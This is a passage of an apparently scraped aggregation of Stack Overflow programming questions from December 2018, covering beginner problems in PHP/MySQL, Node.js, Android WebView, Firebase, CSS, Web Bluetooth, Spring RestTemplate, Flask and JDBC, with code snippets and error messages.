            response.write(''+ responseData.toString()); // there is a problem: writes data only when I pass some exact string (e.g. 'LOREM')
        }
        else{
            response.writeHead(404);
            response.write('Error occured');
        }
        response.end(responseData.toString());
    }


http.createServer(serverHandler).listen(+ port);


console.log('Server is lisntening on port ' + port);

There some console output for 'C:/folderpath/ node server.js 8080' cmd:

Server is lisntening on port 8080

lorem

lorem

lorem

Content of 'poems/lorem' file == 'lorem'




vendredi 28 décembre 2018

How can I get the MAX product_id in MySQL & PHP from database table?

I want to have a function on my website where on the "New" page, it will show my single newest product, so it will need to take the last one added to the products table in SQL but I cannot figure out how to get the max and retrieve it onto the website with the price and image.

I am getting the 2 errors below, line 58 is the $pro_price line and 59 is the $pro_image:

Notice: Undefined index: product_price in /opt/lampp/htdocs/ecommerce/new.php on line 58

Notice: Undefined index: product_image in /opt/lampp/htdocs/ecommerce/new.php on line 59

Please also take a look at the link with the screenshot.

<?php

$get_pro = "select MAX(product_id) from products";

$run_pro = mysqli_query($con, $get_pro);

while($row_pro=mysqli_fetch_array($run_pro)){

    $pro_price = $row_pro['product_price'];
    $pro_image = $row_pro['product_image'];




How do I detect the raw user input typed into a browser's address bar?

The browser address bar on modern browsers support not only the GET request for URL inputs, but can also invoke a search result POST request(according to their default search engine) if the input is not a URL.

I'm trying to obtain this raw user input before it turns into a search request.

I don't believe my question is answered by this (almost) similar question: How can I detect an address bar change with JavaScript? which looks to detect the hash change in-between site changes.

How do I detect the raw user input typed into a browser's address bar?




IE 11 becomes unresponsive while running Java web application

My users are experiencing IE 11 unresponsiveness while running my Java web application. The application produces a large amount of PDF data. Is there a way to resolve this issue within the application or through user computer/IE settings? Thanks.




The domain name has been mapped to the port 80,but I cant get expected infomation visiting the site

"www.cni-expo.com" has been mapped to the ip, 59.108.85.207. I use the web server, which was started at 80 port. then I think I could get some correct info by "www.cni-expo.com" .but I got this.enter image description here

"www.cni-expo.com" has been mapped to the ip, 59.108.85.207. I used nginx as web server, which was started at 80 port. then I thoutht I could get some correct info by "www.cni-expo.com" .but I got this.

Then I mapped another domain name, "gjy.yongdd.com" to the same ip.I

so my quetion is why it went like this? where is the problem? how could i have been visited?




Why can't my database take user's form information when it is connected and included?

I am trying to add some information to my database. The code executes but it does not show on the database. I would love if somebody could help me out! Thank you very much! Happy Holidays :)!

I tried running the program with default values. I have tried different syntax as well. I tried swapping the places of header and mysqli_close().

$conn = mysqli_connect("localhost", "root", "root", "Store");

$nameTshirt = 'T-Shirt NDOE';
$priceTshirt = 35.00;
$nameAlbum = 'Thousands of Scars Album';
$size = $_GET['size'];
$quantity = $_GET['quantityOne'];

    $sql = "INSERT INTO shoppingCart(name, size, quantity, price) 
    VALUES ('T-Shirt NDOE', 'XL', '3', 35.00);";
mysqli_query($conn, $sql);

header("Location: Store - EN.php?item=added");
mysqli_close($conn);

Take the user's input from this form:

<form action="addTshirt.php">
 <div class="item">
 <img src="../Images/store/NDOE - T-SHIRT-b-600x600.jpg" width="300" height="300" alt="NDOE T-Shirt image" class="storeimage">
 </div>
 <div class = "name"> <b>NDOE T-Shirt</b></div>
 <div class = "price">35.00</div>

 <div class = "name2">Size:
    <select class = "drop" name = "size">
        <option value = "select">Select</option>
        <option value = "S">S</option>
        <option value = "M">M</option>
        <option value = "L">L</option>
        <option value = "XL">XL</option>
    </select>
 </div>
 <div class="name2">Quantity:

    <select class = "quantity" name = "quantityOne">
        <option value = "0">0</option>
        <option value = "1">1</option>
        <option value = "2">2</option>
        <option value = "3">3</option>
        <option value = "4">4</option>
        <option value = "5">5</option>
        <option value = "6">6</option>
        <option value = "7">7</option>
        <option value = "8">8</option>
        <option value = "9">9</option>
        <option value = "10">10</option>
    </select></div>

    <div class="wrapper">
        <input type="submit" class = "buttonP" name="tshirtButton" value="Add to cart">
    </div>

</div>
</form>
</div>
</td>




Using this d3 gauge in django?

I have never used javascript nor d3 in django yet, can anyone run me through on how to include this gauge in my html file in django? I have already npm installed d3-simple-gauge, but I am not sure how to actually use it.

https://www.npmjs.com/package/d3-simple-gauge

My current understanding is: I have to put a script tag including the link, although I am not sure why.

My current don't knows: Do I include the usage part in the d3-simple-gauge documentation all between a script tag?




Android emulator can't get api data threw frontend website

I have frontend and backend ready and working on localhost. I am displaying the frontend website threw the android emulator:

public class MainActivity extends AppCompatActivity {

    private WebView webview;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        webview =(WebView)findViewById(R.id.webView);

        webview.setWebViewClient(new WebViewClient());
        webview.getSettings().setJavaScriptEnabled(true);
        webview.getSettings().setDomStorageEnabled(true);
        webview.setOverScrollMode(WebView.OVER_SCROLL_NEVER);
        webview.loadUrl("http://10.0.2.2:4200/mobile");

    }
}

enter image description here

The problem is that emulator can't get the data from database or send request to api to recieve the data so that it's not displayed. How it looks on a website: enter image description here Once again the problem is straight with emulator. I tried building the frontend in production mode with no success. Maybe I should declare special permission or sth like that.

Android Studio Error: enter image description here




Node.js serve html files

so i have a directory structure like this :

    server
       code
         app.js
         web
           html
               index.html
           css
               index.css
           scripts
               index.js

my app.js code is trying to serve the html file index.html but shows errors this is the code :

    app.get('/web',function(req,res) 
    {
        res.sendFile('../web/html/index.html');
    })

what path to pass to sendFile() and make it work appropriately so that the script file and css are also found by the html file when it runs ?

PS : if question is duplicate please post the answer here too . Im new to node.js so any help would be appreciated . Thanks in advance .




Check thousands of website working status

Ce résumé n'est pas disponible. Veuillez cliquer ici pour afficher l'article.


What headers should i set to avoid CORS? In ionic for example?

Why in Postman works without CORS problem and in my application no? I'm using ionic, building the .apk, installing in my device but still getting this error. i'm using this plugin https://github.com/benjaminmwilson/cordova-plugin-downloader#readme, every other request works fine from httpClient

ionic version 3.20.0




Is there a function to highlight another stat/point/column while hovering element on Highcharts?

I'm setting up highcharts and want to highlight both two columns/serie/point when I'm hovering in one.

JS Fiddle: http://jsfiddle.net/dybtupjc/6/

Researched the web and found that I can use mouseOver & out to handle the element, but I can only handle one, not all of the stats of the series (which is what I need: hover one, and also the other on the other corner)

Tried this, but didn't work..

 this.chartConfig.series = [{type: 'column',name: 'Dh',data: dataPoll,point: {
           //events of highcharts
            events: {
           // on mouse over
                mouseOver: function () {
                     var number;
           // loop through all the values that the chart has
                    for(var i = 0; dataPoll.length > i; i++){
           // this.y is the value formatted on the charted and provide in the mouseOver function
                        if(dataPoll[i] == this.y) {
                            console.log("Match", dataPoll[i])
                            console.log("Number", i)
           // And since there are 12 categories (columns), I add 6 to the hover (which is for testing the first numbers, higher numbers will definitely not work), so it can highlight the upper column
                            var number = i + 6;
                            console.log("Sum", number)

                            $scope.setColorSeries(number);
                        }
                    }
           // This is actual valid code, it updates the color of the column under the cursor. Maybe there is a function to call like: this.data[6].update(....)
                    this.update({
                        color: '#000',
                        colorThis: this.color,
                        numberExtrem: number + 6
                    });

                },
                mouseOut: function () {
                    console.log("out mouse!", this)
                    this.update({
                        color: this.colorThis
                    });
                }
            }
        }}];

Now, what I want is this:

https://i.imgur.com/s6eEPAU.png

It should work like this: https://s2.gifyu.com/images/screencast-zthg20.axshare.com-2018.12.28-17-49-30.gif But the actual output is that I'm hovering the column under the cursor, and I need to highlight both cursor and other column (which it will be its counterpart)

This is the fiddle I uploaded. The column under the arrow needs to be black as well. https://i.imgur.com/U3L4Ioa.png

And I have a question, how could as well add and arrow between both two columns?

Thanks in advance.




Web Bluetooth Won't Detect Devices That were Previously Connected

I'm using web bluetooth to connect to an ESP32 module.

My application is working perfectly on Linux and OSX, but on Windows I'm running into issues.

When doing the initial navigator.bluetooth.requestDevice call everything works fine -.. However, after a device has been connected and then disconnected web bluetooth fails to see the device again. I'm able to manually search for nearby BLE devices in the control panel and it recognizes the device (discoverable but not connected), but web bluetooth outright fails to see the device.

It seems to be just that Windows computer too -.. When I look for the device on my Mac it's discoverable.

Is there something going on with Windows where previously connected devices aren't discoverable by web-bluetooth?

My connection code is very simple:

    navigator.bluetooth.requestDevice(optionalServices:['0000ffe0-0000-1000-8000-00805f9b34fb']})
  .then(device => {
    console.log('Connecting...');
    deviceName = device.name;
    return device.gatt.connect();
  })
  .then(server => {
    console.log('Getting Service...');
    return server.getPrimaryService(serviceUuid);
  })
  .then(service => {
    console.log('Getting Characteristic...');
    return service.getCharacteristic(TXcharacteristicUuid).then( characteristic => {
        myTXCharacteristic = characteristic;
        return service.getCharacteristic(RXcharacteristicUuid);
    })
  })
  .then(characteristic => {
    myRXCharacteristic = characteristic;
    return myRXCharacteristic.startNotifications();
  })
  .catch(error => {
    console.log('NOOOO! ' + error);
  });




How do I connect my swift app to my javascript website?

So I am making an iPhone app using swift that should have the same functionality as my web app, which is written in javascript from bootstrap. I've coded the entire user interface for the iPhone app but now I need to actually connect it to my server so that it works the way the web app does (allowing the user to register an account, login, post, etc...) I'm just looking for some pointers on how to get started and how to go about this. Is there any way I can use my existing javascript code in swift? I know this is a very broad question but I'm just not really sure how/where to begin. Any help is very much appreciated​. Thank you!




Scraping multiple links by scrapy

I scraped a web page & all the useful links I stored in a list & now I want to scrap those links which are in the list. So how may I do it?




How to remove data (with prevChildKey) from Firebase Realtime Database?

I asked a question before here and I keep going through the same code. I can't figure out how to delete items with prevChildKey.

Console error give this :

Uncaught ReferenceError: deleteData is not defined at HTMLButtonElement.onclick (index.html:1)

index.html

 <div id="list_div" class="list-div">
   </div>

index.js

    // Database Reference
       var DataRef = firebase.database().ref('users/' + currentUser.uid + '/exercises/');

    // Read data from database
        function readData(){
          //var readDataRef = firebase.database().ref('users/' + currentUser.uid + '/exercises/');    
          DataRef.on("child_added", function(data, prevChildKey) {
            var newData = data.val();
            console.log("ID: " + prevChildKey);
            console.log("name: " + newData.name);
            console.log("sets: " + newData.sets);
            console.log("reps: " + newData.reps);
            console.log("weights: " + newData.weights);

            document.getElementById("list_div").innerHTML+=`

              <div id="listitem_div" class="listitem-div">
                <span class="listtext">Exercise Name: </span>${newData.name}<br>
                <span class="listtext">Set: </span>${newData.sets}
                <span class="listtext">Reps: </span>${newData.reps}
                <span class="listtext">Weights: </span>${newData.weights}
                <button type="submit" id="itemremove" class="itemremove"  onclick="deleteData(${prevChildKey})">Delete</button>
              </div>
            `
          });
        }

    //Delete data from database
        function deleteData(prevChildKey){
            var newDataRef = firebase.database().ref('users/' + currentUser.uid + 'exercises/' + prevChildKey);
              newDataRef.remove()
        }




How to Scrap data from site (e.g Newspaper Articles) in Java creating REST Service?

I'm building an standalone application using REST archictectural way(In java) and applying basic filtering operations like Searching,Displaying etc for my project.




getBoundingClientRect deviation between page loads, alternative?

I'm trying to make an animated category navigation panel and I want the highlighted background to move to the selected category: https://gyazo.com/78119b65275f1905bdb8f5ff03ea4746

To do so, I dynamically use getBoundingClientRect to obtain the proper positions of where the block should go. Although between page loads, the values sometimes randomly are offset for no reason and look like this: https://gyazo.com/798be154e3817261bd8f0aa3ec40ac2d

My code is rather simple and I don't understand if there is a way to fix this or if I have to find some other way that avoids getBoundingClientRect.

const projectCategories = document.getElementById("project-categories");
const selector = document.getElementById("category-selector");
const offset = projectCategories.getBoundingClientRect();
const offsetX = offset.left;
console.log(offsetX);
const offsetY = offset.top;
function moveSelector(selector, left, width, height, offsetX, offsetY) {
    selector.style.width = width + "px";
    selector.style.height = height + "px";
    selector.style.transform = "translateX(" + (left - offsetX) + "px)";
}
const initialCategory = document.getElementById("project-categories").getElementsByClassName("active")[0];
const meta = initialCategory.getBoundingClientRect();
const top = meta.top;
moveSelector(selector, meta.left, meta.width, meta.height, offsetX, offsetY);
selector.style.top = (top - offsetY) + "px";
projectCategories.addEventListener("click", (e) => {
    const target = e.target;
    if (target.nodeName === "A") {
        const meta = target.getBoundingClientRect();
        const height = meta.height;
        const width = meta.width;
        const left = meta.left;
        projectCategories.getElementsByClassName("active")[0].classList.remove("active");
        target.classList.add("active");
        moveSelector(selector, left, width, height, offsetX, offsetY);
    }
});




Is there a browser control / api for chrome that is usable on android, mac, microsoft?

please excuse the vocabulary, I'm new to mobile dev.

I have a single page website. I want a mobile app that essentially just presents a chrome browser 'html/dom view' without any controls on it. No address bar, no favorites, no back forward, nothing... Just the view of the page.

I 'believe' I need something like: Mac: https://developer.apple.com/documentation/webkit/wkwebview Android: https://developer.android.com/reference/android/webkit/WebView Windows: dunno yet.

Is there a dev guide / 'control' reference for some interface / class that exposes chrome in this way?

Or should I just run chrome with some magic command line options? chrome://flags/

Thanks.




After effect border radious issue

i'm having a problem with my hover effect. I'm using the after effect to animate the width of the element from left to right. (0px to 100%) Using border radius is not filling the entire element. What is the solution to this?

https://imgur.com/a/CZxy9Oq

.btn {
    &,
    &:link,
    &:visited {
        text-transform: uppercase;
        text-decoration: none;
        padding: 1.5rem 4rem;
        display: inline-block;
        border-radius: 10rem;
        transition: all .2s;
        position: relative;
        font-size: 2.6rem;
        font-weight: 800;
        color: $color-white;
        //Change for the <button> element
        border: none;
        cursor: pointer;
        z-index: 20;
        position: relative;
        overflow: hidden;

        @include respond(tab-port) { // width < 900?
            z-index: 10;
        }
    }

    &::after{
        content: '';
        position: absolute;
        top: 0;
        left: 0;
        width: 0;
        height: 100%;
        border-radius: 9rem;
        transition: all .2s ease-in-out;
        z-index: -1;
    }

    &--blue {
        border: 2px solid $color-primary-blue;

        &::after{
            background: $color-primary-blue;
        }
    }




Publish suddenly trying to publish to Azure web service

I Publish my web site as a step to deploying a code change. All of a sudden, it's trying to publish to Azure web service. Earlier versions are still publishing as web site correctly. The only change made that would affect it was upping to version to 4.6 but that was done weeks ago and I have published many times since. It's a web application in Visual Studio 2017 Community.

I looked at earlier versions of the application to see if any difference jumped out. I also Google'd the problem.

I need to see the 4 steps to a regular web publish when I right click on Publish Web App, not the publish to Azure web service




Python BS4 Web Scraping - How can I scrape Phone Number in the example below?

Ive tried to target a.nostyle in my code, however when I do so, it will sometimes grab the email above as they share the same tags. I can't seem to find any tags unique to the phone number. How would you go about doing so?

SEE IMAGE BELOW. Any help would be greatly appreciated.

enter image description here




Microsoft login in Xamarin forms - Android App

After successful login of Microsoft page, Xamarin-forms Android application redirects to the same application’s Web UI instead of Mobile UI.

This issue is quite strange and completely new for us, as this application is already published into Play-Store and works fine until now, we never faced this kind of issues. We are facing this issue from past one week, (i.e) On our Xamarin- forms Android application we are loading a Microsoft webpage for a login process, on successful login, redirects back to the MobileUI(Homepage). This flow was fine for last 3 years. And we are facing this issue recently and working fine with some Versions/Models of devices. We could not able to figure out the RC. For a reference I am just listing our observations on the test devices with model name and OS version Number.

•   Samsung S6 Model-SM-G9201 - Android OS 6.0 - Working model
•   Samsung S6 Model-SM-G9201 - Android OS-7.0 - Not working. Wrongly redirects to Webpage.
•   Redmi Note3 - Android OS-6.0.1 Not Working
•   Samsung SM G920A  Android OS-6.0.1 Not Working
•   ZTE Axon Phone - Android OS-7.1.1 Not Working.   
•   Samsung SM J320A -Android OS-7.1.1 -Working model
•   Gionee s6s - Android OS 6.0 - Working model.
•   Samsung Galaxy A9 Pro - Android OS 8.0 - Not working.

All the device models which is mentioned as Not working has the this same application(APK) worked earlier.

Please route us in the correct direction on the resolution. As we do not found any stable RC. Whether there is something changed in the Webview to Xamarin forms communication recently, or any phone settings change needs to be done for MS login, or anything changes happens in the Oauth2Autheticator. But we could not able to capture this issue in Debug mode.

Thanks for your time and effort to read this completely.!




I want to download files from the server to the client,but somthing wrong with url

enter image description here

How to write a modified url?




How to create a form add button

There is a code to add text to the iframe. How to add a button to create new fields for text

$("#text1").click(function(e) {
  var x = document.getElementById("fname").value;
  document.getElementById("output").setAttribute("text", "value", x);
  return false;
});
form {
  position: absolute;
  z-index: 1;
  background: white;
  padding: 1em;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://aframe.io/releases/0.8.2/aframe.min.js"></script>

<form name="myForm" href="" onsubmit="text">
  id: <input type="number" value="text" name="fname" id="fname"><br><br>
  <input id="text1" type="submit" value="Отправить">
</form>

<a-scene background="color: black">
  <a-entity id="output" text="value: output; align: center;" position="0 1.6 -0.5"></a-entity>
</a-scene>



how i can pass parameters in restTemplate to controller's put method

i have a problem with passing parameters .. I have names in my income app and i want to update them by passing a parameters of new names from my rest app . this is my code :

String url = "http://localhost:8084/rest/api/income/UpdateName/{oldName}/{newName}"; // the Url of the rest


    Map<String, String> params = new HashMap<>();
    params.put("oldName", oldName);
    params.put("newName", newName);
    Income income = new Income();

    RestTemplate restTemplate = new RestTemplate();
    restTemplate.put(url, income, params);
    System.out.println(params);
}    

the code not work ? what i can doing ?

this is the put method in the controller :

@CrossOrigin
@GetMapping("/UpdateName/{oldName}/{clientName}") // view all incomes ..
public GeneralResponse viewAllIncome(@PathVariable("oldName") String oldName,@PathVariable("clientName") String clientName) {

    return new GeneralResponse(incomeServiceTemplate.updateClientName(oldName,clientName));

}    




How to show graphs from python program to a website?

I have a python file which plots graphs. I want to import that file to web-page which I want to make. Which tool will be better to make that web-page. It should be like, when i press some button the graph appears in a div or Iframe or another popup page.

The following code create a graph. I want to show the graph in website

import pandas as pd

import dateutil

def gen(file,data):

lists = pd.read_csv(file)    

lists['obstime'] = lists['obstime'].apply(dateutil.parser.parse, dayfirst=True)

lists = lists[lists[data] > -273]

daily_avg_temp = lists.set_index('obstime').groupby(pd.Grouper(freq='D'))[data].mean()

monthly_avg_temp = daily_avg_temp.groupby(pd.Grouper(freq='M')).mean()
monthly_avg_temp.plot()

gen(file_name,d)




How do I make a custom 'File not found(404, 500)[http error code]'for my website

I have seen some websites have their own File not found pages with their logos.

I want such a page for my website.

Please tell me how to make a such type of page that shows the user if the file is not found.




how to find number of hit counts of a web page in web application in distributed environment

This question is specifically targeted for tracking number of hits of a web page when an application is deployed in distributed environment. I am aware that we can track number of hits either by using filter or interceptor (considering app has been built using spring framework) but i am not able to figure out how can we track request if webapp is deployed in more than one application server.




jeudi 27 décembre 2018

how hosting and dns and domain name registrars work

Seriously, I thought it is no need to spend money for a domain name and hosting service and I can build my own domain name registration service and hosting service have my own domains for my website.

I have some knowledge about these. - Hosting means a service that gives us space to keep our website. - DNS means the service which convert domain names into ip addresses. But I have no idea how domain names are registered and where are they registered and how domain name registration work.

Please, tell me how these all things work. How domain name registrars like hostinger,google domains etc. work. please help me.




How is this ViewModel linked to the UserControl? (The WPF Cefsharp Example)

For this Cefsharp.WPF.Example, can anyone tell where is the BrowserTabView linked to BrowserTabViewModel? https://github.com/cefsharp/CefSharp/blob/master/CefSharp.Wpf.Example/MainWindow.xaml

The basic concept of this application is easily understood: -- MainWindow.xaml lays out the application UI, including the TabControl. But each tab's content, which hosts a Cefsharp browser, is designed as a UserControl via BrowserTabView.xaml. -- Then there is the BrowserTabViewModel.cs to provide the properties for each tab. -- An ObservableCollection of ViewModels is created as ItemsSource for the MainWindow's TabControl, to make this application a multi-tabbed web browser.

Here is the piece of code in MainWindow.xaml that got me confused:

...... ...... .......
...... ......

  • Question: The part did not specify the UserControl. How does the program know that it's the BrowserTabView.xaml that should be here to give a view to BrowserTabViewModel? I read through the other xaml and cs codes, still did not find the link.

Another question is the {Binding} seems to bind the DataContext, which is the MainWindow itself, as is shown in MainWindow.xaml.cs. Does it make sense?




How to make encrypted outgoing links via custom third party page?

Actually, I don,t know how to ask this question exactly.so, I'll explain it.

I've recently visited a site. when I click on its download link it's going to another page and displayed wait for 3 sec and displayed generate link button(top of the page). then I clicked on that button it scrolled down automatically the end of the same page with another button Get download link.

Now I get the download link. the question is How can I make my outgoing links like this. through another Page?

My site is on WordPress.

Kindly clear my doubt.




Form input's are not showing in Firefox browser?

I designing the UI for web site and i created the login and signup page. this page i can clearly see all input's in chrome browser as i design but in Firefox browser can't see that input's, It's showing like blank form. I can't understand what's that issues please advice me or give a solution how to fixed this issues? I'll upload my images for reference..

This is Chrome Browser

enter image description here

This is for Firefox browser

enter image description here




How To Delete a Row in a Bootstrap Table

I have a data dynamically bound to a bootstrap table using SQL Server and ASP.NET. I want the button click on a row to delete it in the table and database.

enter image description here




Windows Forms Application Get Info From Redirect Webpage

I'm trying to login to the spotify api, and I have the user login using a certian url. Once they login, they are redirected to a url I have control over. I want to be able to get the info the login screen returns in my windows forms app, and I was told to use a URI scheme for my app, and to set the redirect uri to that scheme so that my app could receive the data.

This is where I get confused, how do I setup a URI scheme for my app and get the parameters to come through it.

I am extremely confused, any information will help!




Set "url" in Form with Fileupload

I want to set the URL to account.php?action=... but it always set the URL to account.php?file=... How can i avoid this?

<form action="account.php?action=uploadprofileimage" enctype="multipart/form-data">
    <div id="uploadprofileimagewrapper">
        <input id="uploadprofileimage" type="file" name="file" onchange="form.submit()">
    </div>
</form>

so how can I set the "URL"?

I want to disable the file=... or when its necessary have both in the URL so file=... and action=...

thanks for your help




The front end calls the camera function,but it's not android and ios

I am from China,I'm not a mobile developer,I'm a front-end novice,want to learn to call the camera function.I found it in html5,successfully opened the camera and took photos,but the photo album of the phone did not have this picture.Here is the code I found.enter image description here




VBA code to grab data from a website (ASP.NET)

There's this website: https://mwatch.boursakuwait.com.kw/default.aspx/AllShares

There's a stock market table that I want to import into my Excel workbook.

I found this code on a website and tried to edit it:

Option Explicit
Sub gethtmltable()
Dim objWeb As QueryTable

Set objWeb = ActiveSheet.QueryTables.Add( _
Connection:="URL;https://mwatch.boursakuwait.com.kw/default.aspx/AllShares", _
Destination:=Range("A1"))

With objWeb

.WebSelectionType = xlSpecifiedTables
.WebTables = "1"
.Refresh BackgroundQuery:=False
.SaveData = True
End With
End Sub

I get a message saying that the query returned no data.

Can anyone please help? I'm using the latest version of Excel on an iMac.

There is no "Import data from a website" option.




ASP.NET Web API 2 using Get method to search data from table multiple parameter

This is a code. i want if ID Value is 12 digit or 13 digit search will be formed and return the object value if data matched or return null if not matched.

public MobilinkN get(ulong ID)
        {
            SubInfoNEntities robject = new SubInfoNEntities();
            using (SubInfoNEntities entities = new SubInfoNEntities())
            {
                string scnic = ID.ToString();
                if (scnic.Length == 13)
                {
                    return entities.MobilinkNs.FirstOrDefault(e => e.CNIC == scnic);
                }
                else if(scnic.Length == 12)
                { 
                   return entities.MobilinkNs.FirstOrDefault(e => e.MSISDN ==scnic);
                }
                return entities.MobilinkNs.FirstOrDefault(e => e.MSISDN == scnic);

            }
        }




Dropdown menu + PHP & JavaScript

I have this dropdown menu in bootstrap:

<div class="col-md dropdown">
    <button class="btn btn-secondary dropdown-toggle col-md" type="button" id="dropdownMenuButton" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
        SELECT AN APPLIANCE
    </button>
    <div class="dropdown-menu col-md" aria-labelledby="dropdownMenuButton">
        <a class="dropdown-item">Fridge</a>
        <a class="dropdown-item">Stove</a>
        <a class="dropdown-item">Oven</a>
        <a class="dropdown-item">Washer</a>
        <a class="dropdown-item">Dryer</a>
        <a class="dropdown-item">Dishwasher</a>
    </div>
</div>

What I need to achieve:

  • when a user select one element from the list the selected element appears instead of "SELECT AN APPLIANCE" using Jaavascript

  • get the selected element text and put it in a string using PHP




Scroll content inside a fixed div relative to the page

I'm making myself a portfolio website, and I'm wondering how to scroll the content inside a fixed div relative to the scrolling of the page.

I've tried placing an absolute div over the fixed div, but then all the content doesn't stay inside the fixed div, and trying inside the fixed div means the content stays still, and I don't want to add a separate scroll bar.

http://jsfiddle.net/wef2buyh/1/

<div class = "title">
    <h1 style = "font-size: 200%;">A Portfolio</h1>
    <h1 >Barney</h1>
</div> 


<div class = "main" id = "mainDiv">
     <div id = "innerDiv" class = "fixed" style="height:1500px;background-color: rgb(255, 255, 255);font-size:36px; transform: translate(0%, 500px)">
    </div>
</div>

<div style = "size: 100%; position: absolute; top: 1000px; left: 20px; overflow: hidden; clip: rect(10px, scrollY ,2px, 100%); background-attachment: fixed" id = "div">
        <p id = "scrollable">Text, blah blah. </p>
</div>

I'm expecting the text to inside the white box, but instead, it flows out of it.




C#: How to login to a website and then web scrape data

I have no idea where to start with this problem. I am trying to login into my school website via my login and then web scrape data to send data back to myself(my grades). What is the easiest way to achieve this in C#.

Additional: Tutorials or wikis would be helpful as I am a beginner however it is not necessary.

Additional pt 2 (Not necessary but helpful): The ideal functionality for this program would be I send a text from my phone in the format (Class-Teacher) to "a server?", and it sends back my grades but I am also lost in how to set this up. Nonetheless, I can figure this out later but help would be appreciated




How do I implement my Node.js code to work on a website?

I have a node.js code that runs perfectly in terminal. How can I display the console.log section on localhost (then Heroku)?

I'm still beginner so express is difficult for me. Should I use that? I tried Browserify too.

const puppeteer = require('puppeteer');
    (async () => {
      const browser = await puppeteer.launch();
      const page = await browser.newPage();
      var url = "URL";
      await page.goto(url);

      const eladok = await page.evaluate(() => 
      Array.from(document.querySelectorAll('div.shopname.fjump'))
        .map((eladok) => eladok.innerText.trim()));

      const hanyadik = await page.evaluate(() => 
      Array.from(document.querySelectorAll('div.shopname.fjump'))
        .map((hanyadik) => hanyadik.innerText.trim()));

      console.log('Összes ajánlat száma: ' + eladok.length);
      console.log('Helyezés: ');
      console.log(hanyadik.indexOf("usanotebook.hu") + 1);

      await browser.close();
})();

I want to make a website that prompt the user for an URL then I store it to the "url" variable. The result is written below the text input.




How to run an url in node js

so I'm trying to write an Amazon Echo skill and in the last step I have to open my own webserver that my lamp can be controlled. In Java I could simply use url.openStream() but how can I do things like this in node js? Or can I somehow implement a java file in the node js file?




How to delete the database every time when the terminal is closed?

The app stores the messages entered by the client. But, every time I run the app, it also loads the previous data. I want to clear the database every time I close the app.

This is a basic chat app where I display the messages entered by the user. But it keeps storing the messages in the same data base. I've tried to turning on the auto-flush but that didn't work.

app.config['SQLALCHEMY_DATABASE_URI']='sqlite:///messages.db

db = SQLAlchemy(app, session_options = {"autoflush":True})

This is my db model:

@app.route('/message', methods=['POST'])
def message():

try:

    username = request.form.get('username')
    message = request.form.get('message')

    new_message = Message(username=username, message=message)
    db.session.add(new_message)
    db.session.commit()
    #db.session.expire()


    pusher_client.trigger('chat-channel', 'new-message', {'username' : username, 'message': message})

    return jsonify({'result' : 'success'})

except:

    return jsonify({'result' : 'failure'})

This is the part of the template which I'm returning for printing the contents of the database:

  <div id="content" class="container" style="overflow-y:auto; margin-bottom: 100px;">

  

I want to earse the content of the database every time the fask app is closed.




Connect JDBC in maven web project on eclipse

I'm trying to connect my MAVEN WEB PROJECT to MSSQLServer using jdbc connection string, my project is already connected to a PostgreSQL data source by the web server. :

this is my code

Connection con;
try{DriverManager.registerDriver(new SQLServerDriver());}
catch(SQLException e){e.printStackTrace()}
String url="jdbc:sqlserver://SERVER\\INSTANCE:1433;DatabaseName=myDatabase";
String userName = "user";
String userPass = "123456";
try{con = DriverManager.getConnection(url ,userName , userPass);}
catch(SQLException e){e.printStackTrace()}


and exception shows: The TCP/IP connection the the host SERVER, port 1433 has failed. Error: "connect timed out. verify the connection properties. Make sure that an instance of SQL Server is running on the host and accepting TCP/IP connections at the port.

The Network services for the SQL server are runing on the server and the port is set to 1433, and it is added to the firewall allowed ports

I've tried the same code in a regular java project and it works perfectly.




How to create a dynamic placeholder for a login page?

The current GMail Login Page has an "Email or phone" placeholder text that reduces in size and moves towards the top-left corner of the field on focus. How to achieve something similar using CSS and/or JS?




No connection could be made because the target machine actively refused it 127.*.*.1:62*** [duplicate]

This question already has an answer here:

My Asp.net application is working well on local except a particular area of code. When I am trying to get detail value of a record it throws an exception "No connection could be made because the target machine actively refused it 127...1:62***". I checked all the possible way but if you have any suggestion let me know.

error on this line Line 93: response = cl.DownloadString(handler);




web page content regex based security

I am wondering if the following is technically doable or not, but I am gonna give it a shot anyway. Is it possible to limit the user access on a specific web page and that access is based on a specific regex? I have the following scenario: the web page is just a compilation of tones of tables (like excel tables) and I would like to limit a specific user access to their table (access = view). E.g: user "A" has access to the table "TABLE-A" only and cannot scroll down or up to see the other tables.

thinking about digging into reverse proxy and stuff ...




Create Headers for websites

While using a CORS extension from Chrome, i am unable to create Header Name and Header value for a website.

I tried like - Access-Control-Allow-Origin - as header name and Value - POST

But still getting the CORS error from chrome.

Any help is appreciated




webdesigning company in delhi

LOCAL SEO SERVICES IN 2019

Local seo services were gambling an active role international, it is pretty famous and in call for these days, just like search engine optimization,your business appears essentially invisible and the benefits are reaped via other competitors. it's miles vital to refine the website for the unique town, state and actual locality.




java sample web service started with "java.lang.NullPointerException", how to fix?

I've got a simple java web service sample program from the internet:

import javax.jws.WebParam; import javax.jws.WebService; import javax.xml.ws.Endpoint; import java.util.Date;

@WebService
interface IService {
    void hello(@WebParam(name="username") String username);
}

@WebService(targetNamespace = "ServiceImpl", endpointInterface="IService")
class ServiceImp implements IService{
    @Override
    public void hello(@WebParam(name = "username") String username) {
        System.out.println("hello " + username + " now is " + new Date());
    }
}

public class ServiceMain {
    public static void main(String[] args) {
        String address = "http://localhost:7777/myService";
        Endpoint.publish(address, new ServiceImp());
        System.out.println("OK");
    }
}

It compiles and runs with exception:

Exception in thread "main" java.lang.NullPointerException
at com.sun.xml.internal.ws.model.RuntimeModeler.getPortTypeName(RuntimeModeler.java:1618)
at com.sun.xml.internal.ws.model.RuntimeModeler.getPortTypeName(RuntimeModeler.java:1584)
at com.sun.xml.internal.ws.server.EndpointFactory.create(EndpointFactory.java:226)
at com.sun.xml.internal.ws.server.EndpointFactory.createEndpoint(EndpointFactory.java:144)
at com.sun.xml.internal.ws.api.server.WSEndpoint.create(WSEndpoint.java:563)
at com.sun.xml.internal.ws.api.server.WSEndpoint.create(WSEndpoint.java:545)
at com.sun.xml.internal.ws.transport.http.server.EndpointImpl.createEndpoint(EndpointImpl.java:308)
at com.sun.xml.internal.ws.transport.http.server.EndpointImpl.publish(EndpointImpl.java:231)
at com.sun.xml.internal.ws.spi.ProviderImpl.createAndPublishEndpoint(ProviderImpl.java:126)
